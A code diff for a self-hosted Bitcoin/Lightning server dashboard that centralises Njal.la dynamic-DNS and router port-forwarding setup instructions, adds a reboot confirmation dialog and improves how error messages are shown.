.nwc-wallet-actions-spacer {
|
||||
display: none;
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,146 @@
|
||||
/* Sovran_SystemsOS Hub — Shared domain-prerequisite instructions.
|
||||
|
||||
SINGLE SOURCE OF TRUTH for the "you need a Njal.la domain + router port
|
||||
forwarding" guidance that must read identically everywhere it appears:
|
||||
|
||||
• First-boot onboarding wizard (Server + Desktop role)
|
||||
— onboarding.js step 3
|
||||
• Feature-enable domain modal (Node role, and any role)
|
||||
— features.js openDomainSetupModal()
|
||||
(Lightning Wallet Connections / NWC, BTCPay Server, Haven, …)
|
||||
• Domain reconfigure / troubleshooting modal
|
||||
— features.js openDomainReconfigureModal()
|
||||
|
||||
Keep these three surfaces word-for-word consistent: always edit this
|
||||
file, never fork the wording inline. Plain classic script (no modules) —
|
||||
both templates load it with a plain <script> tag. */
|
||||
"use strict";
|
||||
|
||||
/* Escape helper local to this file so it is self-contained on both pages. */
|
||||
function dpEsc(str) {
|
||||
return String(str)
|
||||
.replace(/&/g, "&")
|
||||
.replace(/</g, "<")
|
||||
.replace(/>/g, ">")
|
||||
.replace(/"/g, """)
|
||||
.replace(/'/g, "'");
|
||||
}
|
||||
|
||||
/* ── "What you'll need" intro ──────────────────────────────────────
|
||||
opts.serviceName — e.g. "Lightning Wallet Connections", or null for
|
||||
the multi-service (onboarding) wording.
|
||||
opts.hostExample — e.g. "lightning" → lightning.yourdomain.com */
|
||||
function renderDomainNeedsHtml(opts) {
|
||||
var serviceName = opts.serviceName || null;
|
||||
var hostExample = dpEsc(opts.hostExample || "myservice");
|
||||
var html = "";
|
||||
|
||||
if (serviceName) {
|
||||
html += "<p>To enable <strong>" + dpEsc(serviceName) + "</strong>, you'll need two things first:</p>";
|
||||
html += '<ol style="margin:8px 0 0 16px;padding:0;line-height:1.7;">';
|
||||
html += "<li><strong>A domain of your own from <a href=\"https://njal.la\" target=\"_blank\" rel=\"noopener noreferrer\" style=\"color:var(--accent-color);\">Njal.la</a></strong> "
|
||||
+ "— privacy-friendly, no personal details required, accepts Bitcoin. "
|
||||
+ dpEsc(serviceName) + " gets its own hostname: a subdomain (e.g. <code>" + hostExample + ".yourdomain.com</code>) "
|
||||
+ "or a separate domain — your choice. Subdomains are free, and one domain can have many.</li>";
|
||||
html += "<li><strong>Access to your router</strong> — you'll forward ports <strong>80</strong> and <strong>443</strong> (TCP) "
|
||||
+ "to this computer once. All domain-based services share these two ports; "
|
||||
+ "they're required for HTTPS and SSL certificates.</li>";
|
||||
html += "</ol>";
|
||||
} else {
|
||||
html += "<p><strong>Each service below needs two things set up:</strong></p>";
|
||||
html += '<ol style="margin:8px 0 0 16px;padding:0;line-height:1.7;">';
|
||||
html += "<li><strong>A domain of your own from <a href=\"https://njal.la\" target=\"_blank\" rel=\"noopener noreferrer\" style=\"color:var(--accent-color);\">Njal.la</a></strong> "
|
||||
+ "— privacy-friendly, no personal details required, accepts Bitcoin. "
|
||||
+ "Each service gets its own hostname: its own subdomain (e.g. <code>" + hostExample + ".yourdomain.com</code>) "
|
||||
+ "or a separate domain — your choice. Subdomains are free, and one domain can have many, "
|
||||
+ "so a single domain can serve every service.</li>";
|
||||
html += "<li><strong>Access to your router</strong> — you'll forward ports <strong>80</strong> and <strong>443</strong> (TCP) "
|
||||
+ "to this computer once. All domain-based services share these two ports; "
|
||||
+ "they're required for HTTPS and SSL certificates.</li>";
|
||||
html += "</ol>";
|
||||
}
|
||||
return html;
|
||||
}
|
||||
|
||||
/* ── "How to set it up at Njal.la" steps ───────────────────────────
|
||||
opts.hostExample — host part used in the examples (default "call").
|
||||
opts.pasteHint — where the curl command goes:
|
||||
"below" (single service) or "next to its service below"
|
||||
(onboarding, many services). */
|
||||
function renderNjallaStepsHtml(opts) {
|
||||
var hostExample = dpEsc((opts && opts.hostExample) || "call");
|
||||
var pasteHint = (opts && opts.pasteHint) || "below";
|
||||
var html = "";
|
||||
|
||||
html += "<p style=\"margin-top:12px;\"><strong>How to set it up at Njal.la:</strong></p>";
|
||||
html += '<ol style="margin:8px 0 0 16px;padding:0;line-height:1.7;">';
|
||||
html += "<li>Create an account at <a href=\"https://njal.la\" target=\"_blank\" rel=\"noopener noreferrer\" style=\"color:var(--accent-color);\">https://njal.la</a> and buy a domain.</li>";
|
||||
html += "<li>Add a <strong>Dynamic</strong> record for the hostname:"
|
||||
+ '<ul style="margin:4px 0 0 16px;padding:0;line-height:1.7;">'
|
||||
+ "<li>In the Njal.la <strong>Name</strong> field, type ONLY the host part — the word before your domain.<br>"
|
||||
+ "(For "" + hostExample + ".yourdomain.com" you'd type just: <code>" + hostExample + "</code>.)<br>"
|
||||
+ "⚠ Do NOT type the full domain here — Njal.la adds it automatically.</li>"
|
||||
+ "<li>Dedicating a whole separate domain to this service? Leave the Name field blank or use <code>@</code>.</li>"
|
||||
+ "</ul>"
|
||||
+ "</li>";
|
||||
html += "<li>A Dynamic record has <strong>NO IP field</strong> — you don't enter an IP anywhere. "
|
||||
+ "It auto-fills once Sovran_SystemsOS runs the update command (on save, and again after every reboot).</li>";
|
||||
html += "<li>Njal.la gives you a curl command, e.g.:<br>"
|
||||
+ '<code style="font-size:0.8em;">curl "https://njal.la/update/?h=' + hostExample + '.yourdomain.com&k=abc123&auto"</code><br>'
|
||||
+ "Copy it and paste it " + pasteHint + ".</li>";
|
||||
html += "</ol>";
|
||||
return html;
|
||||
}
|
||||
|
||||
/* ── "One router task" port-forwarding box ─────────────────────────
|
||||
opts.internalIp — LAN IP string, or empty/null for generic wording.
|
||||
opts.plural — true for multi-service (onboarding) wording.
|
||||
opts.includeSsh — also mention port 22 for SSH (onboarding).
|
||||
opts.extraNote — extra sentence appended at the end (optional). */
|
||||
function renderRouterPortsHtml(opts) {
|
||||
opts = opts || {};
|
||||
var ipPart = opts.internalIp
|
||||
? " to this computer’s internal IP <strong>" + dpEsc(opts.internalIp) + "</strong>"
|
||||
: " to this computer’s internal IP";
|
||||
var serviceWord = opts.plural ? "services" : "service";
|
||||
|
||||
var html = "";
|
||||
html += "🔌 <strong>One router task:</strong> in your router’s <strong>port forwarding</strong> settings, "
|
||||
+ "forward port <strong>80 (TCP)</strong> and port <strong>443 (TCP)</strong>"
|
||||
+ ipPart + ". Use the <strong>same number for the internal and external port</strong>. "
|
||||
+ "This only needs to be done once — all domain services share these ports — "
|
||||
+ "but HTTPS and SSL certificates won’t work without them, so your " + serviceWord + " "
|
||||
+ "can’t be reached from outside your home network. "
|
||||
+ "You’ll need normal access to your router’s settings with working port forwarding — "
|
||||
+ "if your ISP blocks it (e.g. CGNAT), domain-based services can’t be reached from the internet. ";
|
||||
if (opts.includeSsh) {
|
||||
html += "Add port <strong>22 (TCP)</strong> as well if you want remote SSH access. ";
|
||||
}
|
||||
if (opts.extraNote) {
|
||||
html += dpEsc(opts.extraNote);
|
||||
}
|
||||
return html;
|
||||
}
|
||||
|
||||
/* ── Async helper: fill a router-box container with the internal IP ──
|
||||
Renders generic text immediately, then upgrades to the concrete LAN IP
|
||||
if /api/network provides one. Best-effort — never blocks the UI. */
|
||||
function renderRouterPortsBox(elId, opts) {
|
||||
var el = document.getElementById(elId);
|
||||
if (!el) return;
|
||||
el.innerHTML = renderRouterPortsHtml(opts || {});
|
||||
fetch("/api/network")
|
||||
.then(function(r) { return r.json(); })
|
||||
.then(function(data) {
|
||||
var target = document.getElementById(elId);
|
||||
if (!target) return;
|
||||
var ip = data && data.internal_ip;
|
||||
if (ip && ip !== "unavailable") {
|
||||
var next = {};
|
||||
for (var k in (opts || {})) next[k] = opts[k];
|
||||
next.internalIp = String(ip).trim();
|
||||
target.innerHTML = renderRouterPortsHtml(next);
|
||||
}
|
||||
})
|
||||
.catch(function() { /* generic wording already shown — fine */ });
|
||||
}
|
||||
@@ -44,6 +44,28 @@ if ($upgradeCloseBtn) $upgradeCloseBtn.addEventListener("click", closeUpgradeMod
|
||||
if ($upgradeCancelBtn) $upgradeCancelBtn.addEventListener("click", closeUpgradeModal);
|
||||
if ($upgradeModal) $upgradeModal.addEventListener("click", function(e) { if (e.target === $upgradeModal) closeUpgradeModal(); });
|
||||
|
||||
// Restart confirm dialog
|
||||
if ($restartConfirmCancel) $restartConfirmCancel.addEventListener("click", closeRestartConfirmDialog);
|
||||
if ($restartConfirmModal) $restartConfirmModal.addEventListener("click", function(e) { if (e.target === $restartConfirmModal) closeRestartConfirmDialog(); });
|
||||
if ($restartConfirmModal) $restartConfirmModal.addEventListener("keydown", function(e) { if (e.key === "Escape") closeRestartConfirmDialog(); });
|
||||
|
||||
// Header Reboot button
|
||||
if ($headerRebootBtn) $headerRebootBtn.addEventListener("click", function() { openRestartConfirmDialog(); });
|
||||
if ($restartConfirmOk) $restartConfirmOk.addEventListener("click", function() {
|
||||
if ($restartConfirmOk.disabled) return;
|
||||
$restartConfirmOk.disabled = true;
|
||||
closeRestartConfirmDialog();
|
||||
doReboot();
|
||||
});
|
||||
|
||||
// Reboot error card buttons
|
||||
var $rebootErrorCloseBtn = document.getElementById("reboot-error-close-btn");
|
||||
var $rebootErrorRetryBtn = document.getElementById("reboot-error-retry-btn");
|
||||
if ($rebootErrorCloseBtn) $rebootErrorCloseBtn.addEventListener("click", function() {
|
||||
if ($rebootOverlay) $rebootOverlay.classList.remove("visible");
|
||||
});
|
||||
if ($rebootErrorRetryBtn) $rebootErrorRetryBtn.addEventListener("click", doReboot);
|
||||
|
||||
// ── Upgrade modal functions ───────────────────────────────────────
|
||||
|
||||
function openUpgradeModal() {
|
||||
@@ -54,6 +76,37 @@ function closeUpgradeModal() {
|
||||
if ($upgradeModal) $upgradeModal.classList.remove("open");
|
||||
}
|
||||
|
||||
// ── Restart confirm dialog functions ─────────────────────────────
|
||||
|
||||
var _restartDialogOpener = null;
|
||||
|
||||
function openRestartConfirmDialog() {
|
||||
if (!$restartConfirmModal) return;
|
||||
_restartDialogOpener = document.activeElement;
|
||||
|
||||
// Detect conflicting operations
|
||||
var isOperationInProgress = !!_updatePollTimer || !!_rebuildPollTimer;
|
||||
if ($restartConflictBox) $restartConflictBox.style.display = isOperationInProgress ? "" : "none";
|
||||
if ($restartConfirmOk) $restartConfirmOk.disabled = isOperationInProgress;
|
||||
|
||||
$restartConfirmModal.classList.add("open");
|
||||
|
||||
// Focus Cancel initially for safety
|
||||
var cancelBtn = document.getElementById("restart-confirm-cancel-btn");
|
||||
if (cancelBtn) setTimeout(function() { cancelBtn.focus(); }, 50);
|
||||
}
|
||||
|
||||
function closeRestartConfirmDialog() {
|
||||
if ($restartConfirmModal) $restartConfirmModal.classList.remove("open");
|
||||
// Re-enable confirm button for next open
|
||||
if ($restartConfirmOk) $restartConfirmOk.disabled = false;
|
||||
// Return focus to the element that opened the dialog
|
||||
if (_restartDialogOpener && _restartDialogOpener.focus) {
|
||||
try { _restartDialogOpener.focus(); } catch (_) {}
|
||||
_restartDialogOpener = null;
|
||||
}
|
||||
}
|
||||
|
||||
async function doUpgradeToServer() {
|
||||
var confirmBtn = $upgradeConfirmBtn;
|
||||
if (confirmBtn) { confirmBtn.disabled = true; confirmBtn.textContent = "Upgrading…"; }
|
||||
|
||||
@@ -59,6 +59,8 @@ function openDomainSetupModal(feat, onSaved) {
|
||||
if (!$domainSetupModal) return;
|
||||
if ($domainSetupTitle) $domainSetupTitle.textContent = "🌐 Domain Setup — " + feat.name;
|
||||
|
||||
var isWalletConnections = (feat.id === "nwc-wallets" || feat.domain_name === "lightning");
|
||||
|
||||
var npubField = "";
|
||||
if (feat.id === "haven") {
|
||||
var currentNpub = "";
|
||||
@@ -73,23 +75,32 @@ function openDomainSetupModal(feat, onSaved) {
|
||||
npubField = '<div class="domain-field-group"><label class="domain-field-label" for="domain-npub-input">Nostr Public Key (npub1...):</label><input class="domain-field-input" type="text" id="domain-npub-input" placeholder="npub1..." value="' + escHtml(currentNpub) + '" /></div>';
|
||||
}
|
||||
|
||||
var externalIp = _cachedExternalIp || "your external IP";
|
||||
var nwcWarning = isWalletConnections
|
||||
? '<div class="domain-nwc-warning">' +
|
||||
'<strong>⚠ Lightning Wallet Connections requires its own unique hostname.</strong> ' +
|
||||
'Use a new subdomain such as <code>lightning.yourdomain.com</code>, or a separate domain. ' +
|
||||
'Do not reuse a domain already assigned to Matrix, Nextcloud, WordPress, BTCPay Server, Vaultwarden, Haven, or another Caddy site.' +
|
||||
'</div>'
|
||||
: '';
|
||||
|
||||
var domainPlaceholder = isWalletConnections ? "lightning.yourdomain.com" : "myservice.example.com";
|
||||
var domainLabelExample = isWalletConnections ? "lightning.yourdomain.com" : "call.yourdomain.com";
|
||||
|
||||
// Shared instructions (single source of truth: static/js/domain-prereqs.js) —
|
||||
// identical wording to the Server + Desktop onboarding wizard and every other
|
||||
// domain-based feature, regardless of role (Node / Desktop / Server+Desktop).
|
||||
var hostExample = isWalletConnections ? "lightning" : "call";
|
||||
|
||||
$domainSetupBody.innerHTML =
|
||||
'<div class="domain-setup-intro">' +
|
||||
'<p><strong>Before continuing:</strong></p>' +
|
||||
'<ol>' +
|
||||
'<li>Create an account at <a href="https://njal.la" target="_blank" rel="noopener noreferrer" style="color:var(--accent-color);">https://njal.la</a></li>' +
|
||||
'<li>Purchase a new domain on Njal.la, or create a subdomain from a domain you already own. Tip: Subdomains are free to create — you only need to purchase one domain, and you can add as many subdomains as you need at no extra cost.</li>' +
|
||||
'<li>In the Njal.la web interface, create a <strong>Dynamic</strong> record pointing to this machine\'s external IP address:<br>' +
|
||||
'<span style="display:inline-block;margin-top:4px;padding:4px 10px;background:var(--card-color);border:1px solid var(--border-color);border-radius:6px;font-family:monospace;font-size:1em;font-weight:700;">' + escHtml(externalIp) + '</span></li>' +
|
||||
'<li>Njal.la will give you a curl command like:<br>' +
|
||||
'<code style="font-size:0.8em;">curl "https://njal.la/update/?h=sub.domain.com&k=abc123&auto"</code></li>' +
|
||||
'<li>Enter the subdomain and paste that curl command below</li>' +
|
||||
'</ol>' +
|
||||
nwcWarning +
|
||||
renderDomainNeedsHtml({ serviceName: feat.name, hostExample: hostExample }) +
|
||||
renderNjallaStepsHtml({ hostExample: hostExample, pasteHint: "below" }) +
|
||||
'<div class="onboarding-port-warn" id="domain-router-box" style="margin-top:12px;"></div>' +
|
||||
'<p style="margin-top:10px;">Below, enter the full domain for this service — a subdomain (e.g. ' + domainLabelExample + ') or a separate domain — and paste its curl command.</p>' +
|
||||
'</div>' +
|
||||
'<div class="domain-field-group"><label class="domain-field-label" for="domain-subdomain-input">Subdomain (e.g. myservice.example.com):</label><input class="domain-field-input" type="text" id="domain-subdomain-input" placeholder="myservice.example.com" /></div>' +
|
||||
'<div class="domain-field-group"><label class="domain-field-label" for="domain-ddns-input">Njal.la Dynamic DNS Update Command:</label><input class="domain-field-input" type="text" id="domain-ddns-input" placeholder="curl "https://njal.la/update/?h=myservice.example.com&k=abc123&auto"" /><p class="domain-field-hint">ℹ Paste the full curl command from your Njal.la dashboard\'s Dynamic record</p></div>' +
|
||||
'<div class="domain-field-group"><label class="domain-field-label" for="domain-subdomain-input">Service domain (e.g. ' + domainLabelExample + '):</label><input class="domain-field-input" type="text" id="domain-subdomain-input" placeholder="' + domainPlaceholder + '" /></div>' +
|
||||
'<div class="domain-field-group"><label class="domain-field-label" for="domain-ddns-input">Njal.la Dynamic DNS Update Command:</label><input class="domain-field-input" type="text" id="domain-ddns-input" placeholder="curl "https://njal.la/update/?h=' + domainPlaceholder + '&k=abc123&auto"" /><p class="domain-field-hint">ℹ Paste the full curl command from your Njal.la dashboard\'s Dynamic record</p></div>' +
|
||||
npubField +
|
||||
'<div class="domain-field-actions"><button class="btn btn-close-modal" id="domain-setup-cancel-btn">Cancel</button><button class="btn btn-primary" id="domain-setup-save-btn">Save & Enable</button></div>';
|
||||
|
||||
@@ -103,7 +114,7 @@ function openDomainSetupModal(feat, onSaved) {
|
||||
ddnsUrl = ddnsUrl.trim();
|
||||
npub = npub.trim();
|
||||
|
||||
if (!subdomain) { alert("Please enter a subdomain."); return; }
|
||||
if (!subdomain) { alert("Please enter a domain."); return; }
|
||||
if (feat.id === "haven" && !npub) { alert("Please enter your Nostr public key."); return; }
|
||||
|
||||
var saveBtn = document.getElementById("domain-setup-save-btn");
|
||||
@@ -125,17 +136,23 @@ function openDomainSetupModal(feat, onSaved) {
|
||||
} catch (err) {
|
||||
saveBtn.disabled = false;
|
||||
saveBtn.textContent = "Save & Enable";
|
||||
alert("Failed to save domain. Please try again.");
|
||||
var msg = (err && err.message) ? err.message : "Failed to save domain. Please try again.";
|
||||
alert(msg);
|
||||
}
|
||||
});
|
||||
|
||||
$domainSetupModal.classList.add("open");
|
||||
|
||||
// Fill the router port-forwarding box with this computer's LAN IP (best-effort)
|
||||
renderRouterPortsBox("domain-router-box");
|
||||
}
|
||||
|
||||
function openDomainReconfigureModal(feat, existingDomain, onSaved) {
|
||||
if (!$domainSetupModal) return;
|
||||
if ($domainSetupTitle) $domainSetupTitle.textContent = "🔄 Reconfigure Domain — " + feat.name;
|
||||
|
||||
var isWalletConnections = (feat.id === "nwc-wallets" || feat.domain_name === "lightning");
|
||||
|
||||
var npubField = "";
|
||||
if (feat.id === "haven") {
|
||||
var currentNpub = "";
|
||||
@@ -150,24 +167,38 @@ function openDomainReconfigureModal(feat, existingDomain, onSaved) {
|
||||
npubField = '<div class="domain-field-group"><label class="domain-field-label" for="domain-npub-input">Nostr Public Key (npub1...):</label><input class="domain-field-input" type="text" id="domain-npub-input" placeholder="npub1..." value="' + escHtml(currentNpub) + '" /></div>';
|
||||
}
|
||||
|
||||
var nwcWarning = isWalletConnections
|
||||
? '<div class="domain-nwc-warning">' +
|
||||
'<strong>⚠ Lightning Wallet Connections requires its own unique hostname.</strong> ' +
|
||||
'Use a new subdomain such as <code>lightning.yourdomain.com</code>, or a separate domain. ' +
|
||||
'Do not reuse a domain already assigned to Matrix, Nextcloud, WordPress, BTCPay Server, Vaultwarden, Haven, or another Caddy site.' +
|
||||
'</div>'
|
||||
: '';
|
||||
|
||||
var domainPlaceholder = isWalletConnections ? "lightning.yourdomain.com" : "myservice.example.com";
|
||||
var domainLabelExample = isWalletConnections ? "lightning.yourdomain.com" : "call.yourdomain.com";
|
||||
|
||||
var externalIp = _cachedExternalIp || "your external IP";
|
||||
var currentDomain = existingDomain || "";
|
||||
|
||||
$domainSetupBody.innerHTML =
|
||||
'<div class="domain-setup-intro">' +
|
||||
nwcWarning +
|
||||
'<p>Your domain <strong>' + escHtml(currentDomain || "this domain") + '</strong> is configured but isn\'t resolving correctly.</p>' +
|
||||
'<p><strong>Troubleshooting steps:</strong></p>' +
|
||||
'<ol>' +
|
||||
'<li>Log into your Njal.la dashboard at <a href="https://njal.la" target="_blank" rel="noopener noreferrer" style="color:var(--accent-color);">https://njal.la</a></li>' +
|
||||
'<li>Find the DNS record for <strong>' + escHtml(currentDomain || "your domain") + '</strong></li>' +
|
||||
'<li>Find the DNS record for <strong>' + escHtml(currentDomain || "your domain") + '</strong>. In Njal.la\'s Name field, note that only the host part is stored (the word before the domain) — not the full domain.</li>' +
|
||||
'<li>Verify it has a <strong>Dynamic</strong> record pointing to your current external IP:<br>' +
|
||||
'<span style="display:inline-block;margin-top:4px;padding:4px 10px;background:var(--card-color);border:1px solid var(--border-color);border-radius:6px;font-family:monospace;font-size:1em;font-weight:700;">' + escHtml(externalIp) + '</span></li>' +
|
||||
'<li>If the IP is wrong or the record is missing, update it</li>' +
|
||||
'<li>If you changed the DDNS curl command, paste the updated one below</li>' +
|
||||
'<li>Confirm ports <strong>80</strong> and <strong>443</strong> (TCP) are still forwarded on your router to this computer — see the reminder below:</li>' +
|
||||
'</ol>' +
|
||||
'<div class="onboarding-port-warn" id="domain-router-box" style="margin-top:12px;"></div>' +
|
||||
'</div>' +
|
||||
'<div class="domain-field-group"><label class="domain-field-label" for="domain-subdomain-input">Subdomain (e.g. myservice.example.com):</label><input class="domain-field-input" type="text" id="domain-subdomain-input" placeholder="myservice.example.com" value="' + escHtml(currentDomain) + '" /></div>' +
|
||||
'<div class="domain-field-group"><label class="domain-field-label" for="domain-ddns-input">Njal.la Dynamic DNS Update Command:</label><input class="domain-field-input" type="text" id="domain-ddns-input" placeholder="curl "https://njal.la/update/?h=myservice.example.com&k=abc123&auto"" /><p class="domain-field-hint">ℹ Paste the full curl command from your Njal.la dashboard\'s Dynamic record</p></div>' +
|
||||
'<div class="domain-field-group"><label class="domain-field-label" for="domain-subdomain-input">Service domain (e.g. ' + domainLabelExample + '):</label><input class="domain-field-input" type="text" id="domain-subdomain-input" placeholder="' + domainPlaceholder + '" value="' + escHtml(currentDomain) + '" /></div>' +
|
||||
'<div class="domain-field-group"><label class="domain-field-label" for="domain-ddns-input">Njal.la Dynamic DNS Update Command:</label><input class="domain-field-input" type="text" id="domain-ddns-input" placeholder="curl "https://njal.la/update/?h=' + domainPlaceholder + '&k=abc123&auto"" /><p class="domain-field-hint">ℹ Paste the full curl command from your Njal.la dashboard\'s Dynamic record</p></div>' +
|
||||
npubField +
|
||||
'<div class="domain-field-actions"><button class="btn btn-close-modal" id="domain-setup-cancel-btn">Cancel</button><button class="btn btn-primary" id="domain-setup-save-btn">Save & Update</button></div>';
|
||||
|
||||
@@ -203,11 +234,15 @@ function openDomainReconfigureModal(feat, existingDomain, onSaved) {
|
||||
} catch (err) {
|
||||
saveBtn.disabled = false;
|
||||
saveBtn.textContent = "Save & Update";
|
||||
alert("Failed to save domain. Please try again.");
|
||||
var msg = (err && err.message) ? err.message : "Failed to save domain. Please try again.";
|
||||
alert(msg);
|
||||
}
|
||||
});
|
||||
|
||||
$domainSetupModal.classList.add("open");
|
||||
|
||||
// Fill the router port-forwarding box with this computer's LAN IP (best-effort)
|
||||
renderRouterPortsBox("domain-router-box");
|
||||
}
|
||||
|
||||
function closeDomainSetupModal() {
|
||||
@@ -224,28 +259,12 @@ function openPortRequirementsModal(featureName, ports, onContinue) {
|
||||
: '';
|
||||
|
||||
function renderPortRequirements(internalIp) {
|
||||
var rows = ports.map(function(p) {
|
||||
return '<tr><td class="port-req-port">' + escHtml(p.port) + '</td>' +
|
||||
'<td class="port-req-proto">' + escHtml(p.protocol) + '</td>' +
|
||||
'<td class="port-req-desc">' + escHtml(p.description) + '</td></tr>';
|
||||
}).join("");
|
||||
var ipLine = internalIp
|
||||
? '<p class="port-req-intro">Forward each port below <strong>to this machine\'s internal IP: <code class="port-req-internal-ip">' + escHtml(internalIp) + '</code></strong></p>'
|
||||
: "<p class=\"port-req-intro\">Forward each port below to this machine's internal LAN IP in your router's port forwarding settings.</p>";
|
||||
|
||||
$portReqBody.innerHTML =
|
||||
'<p class="port-req-intro"><strong>Port Forwarding Required</strong></p>' +
|
||||
'<p class="port-req-intro">For <strong>' + escHtml(featureName) + "</strong> to work with clients outside your local network, " +
|
||||
"you must configure <strong>port forwarding</strong> in your router's admin panel.</p>" +
|
||||
ipLine +
|
||||
'<table class="port-req-table">' +
|
||||
'<thead><tr><th>Port(s)</th><th>Protocol</th><th>Purpose</th></tr></thead>' +
|
||||
'<tbody>' + rows + '</tbody>' +
|
||||
'</table>' +
|
||||
"<p class=\"port-req-hint\"><strong>How to verify:</strong> Router-side forwarding cannot be checked from inside your network. " +
|
||||
"To confirm ports are forwarded correctly, test from a device on a different network (e.g. a phone on mobile data) " +
|
||||
"or check your router's port forwarding page.</p>" +
|
||||
'<p class="port-req-hint">ℹ Search "<em>how to set up port forwarding on [your router model]</em>" for step-by-step instructions.</p>' +
|
||||
renderPortForwardGuideHtml(ports, {
|
||||
internalIp: internalIp,
|
||||
serviceName: featureName,
|
||||
}) +
|
||||
'<p class="port-req-hint">💡 This list is always available again on the <strong>' + escHtml(featureName) + '</strong> tile.</p>' +
|
||||
'<div class="domain-field-actions">' +
|
||||
'<button class="btn btn-close-modal" id="port-req-dismiss-btn">Dismiss</button>' +
|
||||
continueBtn +
|
||||
@@ -378,39 +397,10 @@ function handleFeatureToggle(feat, newEnabled) {
|
||||
return;
|
||||
}
|
||||
|
||||
// Check which ports are actually closed before showing the modal
|
||||
fetch("/api/ports/status", {
|
||||
method: "POST",
|
||||
headers: { "Content-Type": "application/json" },
|
||||
body: JSON.stringify({ ports: ports }),
|
||||
})
|
||||
.then(function(r) {
|
||||
if (!r.ok) throw new Error("Port status request failed: " + r.status);
|
||||
return r.json();
|
||||
})
|
||||
.then(function(data) {
|
||||
var portStatuses = {};
|
||||
(data.ports || []).forEach(function(p) {
|
||||
portStatuses[p.port + "/" + p.protocol] = p.status;
|
||||
});
|
||||
|
||||
var closedPorts = ports.filter(function(p) {
|
||||
var key = p.port + "/" + p.protocol;
|
||||
var status = portStatuses[key] || "unknown";
|
||||
return status !== "listening" && status !== "firewall_open";
|
||||
});
|
||||
|
||||
if (closedPorts.length === 0) {
|
||||
proceedAfterPortCheck();
|
||||
} else {
|
||||
openPortRequirementsModal(feat.name, closedPorts, proceedAfterPortCheck);
|
||||
}
|
||||
})
|
||||
.catch(function(err) {
|
||||
console.warn("Failed to fetch port status for feature enable flow:", err);
|
||||
// Safe fallback if status check fails
|
||||
openPortRequirementsModal(feat.name, ports, proceedAfterPortCheck);
|
||||
});
|
||||
// Always show the full list of ports to forward. Port forwarding happens on
|
||||
// the router, which this computer cannot inspect — a local check would only
|
||||
// hide ports the user still has to open.
|
||||
openPortRequirementsModal(feat.name, ports, proceedAfterPortCheck);
|
||||
}
|
||||
|
||||
if (feat.id === "bitcoin-core") {
|
||||
|
||||
@@ -40,6 +40,66 @@ function linkify(str) {
|
||||
return escHtml(str).replace(/(https?:\/\/[^\s<]+)/g, '<a href="$1" target="_blank" rel="noopener noreferrer" class="creds-link">$1</a>');
|
||||
}
|
||||
|
||||
// ── Router port-forwarding guide ──────────────────────────────────
|
||||
// Whether a port is truly reachable can only be judged from OUTSIDE the
|
||||
// network, so we never show a local "ready" verdict here. We only tell the
|
||||
// user exactly what to enter in their router.
|
||||
|
||||
// Render the protocol cell so TCP / UDP / both is unmistakable.
|
||||
function portProtocolHtml(protocol) {
|
||||
var p = String(protocol || "TCP").toUpperCase();
|
||||
var isTcp = p.indexOf("TCP") !== -1;
|
||||
var isUdp = p.indexOf("UDP") !== -1;
|
||||
if (isTcp && isUdp) {
|
||||
return '<span class="port-proto-badge port-proto-badge--both">TCP + UDP</span>' +
|
||||
'<span class="port-proto-note">both required</span>';
|
||||
}
|
||||
if (isUdp) return '<span class="port-proto-badge port-proto-badge--udp">UDP</span>';
|
||||
return '<span class="port-proto-badge port-proto-badge--tcp">TCP</span>';
|
||||
}
|
||||
|
||||
// ports: [{ port, protocol, description }]
|
||||
// opts: { internalIp, serviceName, tableClass, introClass, noteClass }
|
||||
function renderPortForwardGuideHtml(ports, opts) {
|
||||
opts = opts || {};
|
||||
var tableClass = opts.tableClass || "port-req-table";
|
||||
var introClass = opts.introClass || "port-req-intro";
|
||||
var noteClass = opts.noteClass || "port-req-hint";
|
||||
var ipHtml = opts.internalIp
|
||||
? '<code class="port-req-internal-ip">' + escHtml(opts.internalIp) + '</code>'
|
||||
: 'this computer’s <strong>internal IP</strong> (shown as “Internal IP” at the top of the Hub dashboard)';
|
||||
|
||||
var rows = (ports || []).map(function(p) {
|
||||
return '<tr>' +
|
||||
'<td class="port-req-port">' + escHtml(p.port) + '</td>' +
|
||||
'<td class="port-req-proto">' + portProtocolHtml(p.protocol) + '</td>' +
|
||||
'<td class="port-req-desc">' + escHtml(p.description || "") + '</td>' +
|
||||
'</tr>';
|
||||
}).join("");
|
||||
|
||||
var forWhat = opts.serviceName
|
||||
? 'For <strong>' + escHtml(opts.serviceName) + '</strong> to be reachable from outside your home network, open'
|
||||
: 'Open';
|
||||
|
||||
return '<p class="' + introClass + '">' +
|
||||
forWhat + ' the ports below in your router’s <strong>port forwarding</strong> settings ' +
|
||||
'and point them at ' + ipHtml + '.' +
|
||||
'</p>' +
|
||||
'<ul class="port-req-steps">' +
|
||||
'<li>Set the <strong>internal (private) port</strong> and the <strong>external (public) port</strong> to the <strong>same number</strong>.</li>' +
|
||||
'<li>Match the <strong>protocol</strong> exactly — a rule set to TCP will not pass UDP traffic. Where the table says <strong>TCP + UDP</strong>, create both rules (or pick “Both”/“TCP/UDP” if your router offers it).</li>' +
|
||||
'<li>For a range such as <strong>30000-40000</strong>, use your router’s port-range fields — start 30000, end 40000 — rather than one rule per port.</li>' +
|
||||
'</ul>' +
|
||||
'<table class="' + tableClass + '">' +
|
||||
'<thead><tr><th>Port(s)</th><th>Protocol</th><th>Used for</th></tr></thead>' +
|
||||
'<tbody>' + rows + '</tbody>' +
|
||||
'</table>' +
|
||||
'<p class="' + noteClass + '">' +
|
||||
'📱 <strong>How to confirm it worked:</strong> forwarding happens on your router, so it can only be verified from outside your network. ' +
|
||||
'Turn Wi-Fi off on your phone and open the service over mobile data — if it loads, your ports are open.' +
|
||||
'</p>';
|
||||
}
|
||||
|
||||
function formatDuration(seconds) {
|
||||
const h = Math.floor(seconds / 3600);
|
||||
const m = Math.floor((seconds % 3600) / 60);
|
||||
@@ -55,7 +115,20 @@ async function apiFetch(path, options) {
|
||||
const res = await fetch(path, options || {});
|
||||
if (!res.ok) {
|
||||
let detail = res.status + " " + res.statusText;
|
||||
try { const body = await res.json(); if (body && body.detail) detail = body.detail; } catch (e) {}
|
||||
try {
|
||||
const body = await res.json();
|
||||
if (body && body.detail) {
|
||||
if (typeof body.detail === "string") {
|
||||
detail = body.detail;
|
||||
} else if (body.detail && typeof body.detail.message === "string") {
|
||||
detail = body.detail.message;
|
||||
}
|
||||
} else if (body && typeof body.message === "string") {
|
||||
detail = body.message;
|
||||
} else if (body && typeof body.error === "string") {
|
||||
detail = body.error;
|
||||
}
|
||||
} catch (e) {}
|
||||
